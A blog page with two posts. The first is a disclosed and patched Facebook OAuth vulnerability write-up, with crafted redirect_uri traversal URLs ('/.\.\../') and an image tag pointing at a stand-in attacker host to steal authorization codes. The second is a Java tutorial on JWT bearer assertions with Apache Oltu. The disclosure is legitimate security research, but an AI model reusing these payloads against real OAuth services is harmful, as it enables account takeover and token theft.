Tuesday, 8 April 2014

OAuth 2 - How I have hacked Facebook again (..and would have stolen a valid access token)

Well well well, hacking time again :) No much time for big explanation but few weeks ago I was using a little variant of Lassie come home to potentially steal a valid Facebook's access token. In a nutshell reading a blog post of how the great Egor Homakov did hack Github  (see Bug 1. Bypass of redirect_uri validation with /../ ) I though how about Facebook :) ?.

Well here is what I found, I have copied a part of my report to Facebook security :

The redirect_uri in the https://graph.facebook.com/oauth/authorize is not validated correctly. I can bypass the redirect_uri validation with /.\.\../. This might result on stealing the authorization code of a Facebook registered OAuth Client. As an example I would use Parse.com (that is owned by Facebook). In https://parse.com/account there is the chance to link an account with Facebook.
Now the correct request is:

https://www.facebook.com/dialog/oauth?response_type=code&client_id=506576959379594&redirect_uri=https%3A%2F%2Fparse.com%2Fauth%2Ffacebook%2Fcallback&state=420c2f177072bc328309aab640fa0e9141b0f7de2c1f7d81&scope=email

but changing the request to:

https://www.facebook.com/dialog/oauth?response_type=code&client_id=506576959379594&redirect_uri=https%3A%2F%2Fparse.com%2Fauth%2Ffacebook%2Fcallback%2F.\.\../.\.\../asanso&state=420c2f177072bc328309aab640fa0e9141b0f7de2c1f7d81&scope=email

(please note the redirect_uri changed to 

https%3A%2F%2Fparse.com%2Fauth%2Ffacebook%2Fcallback/.\.\../.\.\../asanso)

will end up to be redirected to

https://parse.com/auth/asanso?code=CODE#_=_

The redirect_uri should instead not being accepted.
In order to see how this can be exploited in general let's assume that https://gist.github.com/ would also be a Facebook OAuth client with a registered redirect_uri of https://gist.github.com/auth/facebook/callback

I would then change the request from

https://graph.facebook.com/oauth/authorize?client_id=213814055461514&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Ffacebook%2Fcallback&response_type=code

to

https://graph.facebook.com/oauth/authorize?client_id=213814055461514&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Ffacebook%2Fcallback%2F.\.\../.\.\../.\.\../asanso/a2f05bb7e38ba6af88f8&response_type=code

(please note the redirect_uri=https://gist.github.com/auth/facebook/callback/.\.\../.\.\../.\.\../asanso/a2f05bb7e38ba6af88f8)

Now gist offers some limited html capability but i can use a cross domain resource, like <img>. In the img I can place <img src="http://attackersite.com/"> or <img src="///attackersite.com">

When the user loads this URL, Github 302-redirects him automatically.

Location: https://gist.github.com/auth/facebook/callback/.\.\../.\.\../.\.\../asanso/a2f05bb7e38ba6af88f8?code=CODE

But the user agent loads https://gist.github.com/asanso/a2f05bb7e38ba6af88f8?code=CODE

As soon as we get victim's CODE we can hit https://gist.github.com/auth/facebook/callback?code=CODE and yes :), we are logged into the victim's account and we have access to private gists.

I used an hypothesis of gist being an OAuth client but this would work with any OAuth client that will have the same situation than gist

The answer from Facebook was pretty quick (same for the fix):

Hi,

We have looked into this issue and believe that the vulnerability has been patched. Please re-test the issue and follow up with us if you believe that the patch does not fully resolve the issue.

Security
Facebook

PS: Nice find! :)
 And yep I also got a bounty :)

Tuesday, 1 April 2014

OAuth 2 server to server and Apache Oltu

Leaving apart some FUDs I think that RFC 6749 (aka The OAuth 2.0 Authorization Framework) has proven to be a really great  "tool" so far. One of the limitation of this spec though is that the 2 main flows Authorization Code Grant and Implicit Grant work reasonably well if there is some sort of human interaction and the user agent is available. What if one or both of these requirement are missing? One easy alternative would be to use the Resource Owner Password Credentials Grant flow. This would require the OAuth client to know the Resource Owner password. That is exactly why OAuth has been designed namely to avoid such situation. Another, more tempting, alternative would be to use a refresh token (that never expires). The best choice though IMHO is to use "tools" from another specification from the becoming-big OAuth specification family :)
The specification I am referring to is  the
JSON Web Token (JWT) Profile for OAuth 2.0 Client Authentication and Authorization Grants specification that "inhertis" from  Assertion Framework for OAuth 2.0 Client Authentication and Authorization Grants. This specifications makes and extensions usage of the concepts contained in the JWT and JWS protocols and it offers a great solution for solving an OAuth server to server scenario. In the real world there are already some big companies already providing support for this e.g. Google and SalesForce. If at this stage you feel a bit dizzy, fret not, you are not the only one :).
If you are still with me, I am going to show a really easy way to implement this protocol in Java using Apache Oltu. Apache Oltu lately (in version 1.0) introduced support for JWT and JWS. I will take as an example the Google implementation . Notes for the readers 1) I am not going to explain the JSON Web Token (JWT) Profile for OAuth 2.0 Client Authentication and Authorization Grants specification here, 2) I assume that you have already generated yout Google service-account credentials. In here I am  going to show an alternative way of Creating a JWT without using the Google API (sing Apache Oltu indeed). The Apache Oltu's way (differently than the Google API) will work with any OAuth Provider that supports OAuth server to server. Enough words for today, here is the code snippet:

 KeyStore keyStore = KeyStore.getInstance("PKCS12");  
       keyStore.load(new FileInputStream(P12_FILE), "notasecret".toCharArray());  
       java.security.PrivateKey privateKey = (java.security.PrivateKey) keyStore.getKey("privatekey", "notasecret".toCharArray());  
       PrivateKey pk = new PrivateKey(privateKey);  
       JWT jwt = new JWT.Builder()  
       .setClaimsSetIssuer("788732372078-pas6c4tqtudpoco2f4au18e00suedjtb@developer.gserviceaccount.com")  
       .setClaimsSetCustomField("scope", " https://www.googleapis.com/auth/plus.login")  
       .setClaimsSetAudience("https://accounts.google.com/o/oauth2/token")  
       .setClaimsSetIssuedAt(System.currentTimeMillis() / 1000)  
       .setClaimsSetExpirationTime(System.currentTimeMillis() / 1000 +3600)  
       .build();  
       String payload = new JWTClaimsSetWriter().write(jwt.getClaimsSet());  
       JWS jws = new JWS.Builder()  
       .setType("JWT")  
       .setAlgorithm(JwsConstants.RS256)      
       .setPayload(payload).sign(new SignatureMethodRSAImpl(JwsConstants.RS256), pk).build();  
       System.out.println("your assertion is "+new JWSWriter().write(jws));
now in order to get the access token using the above assertion just do:
 curl -d 'grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Ajwt-bearer&assertion=ASSERTION' https://accounts.google.com/o/oauth2/token  
have fun!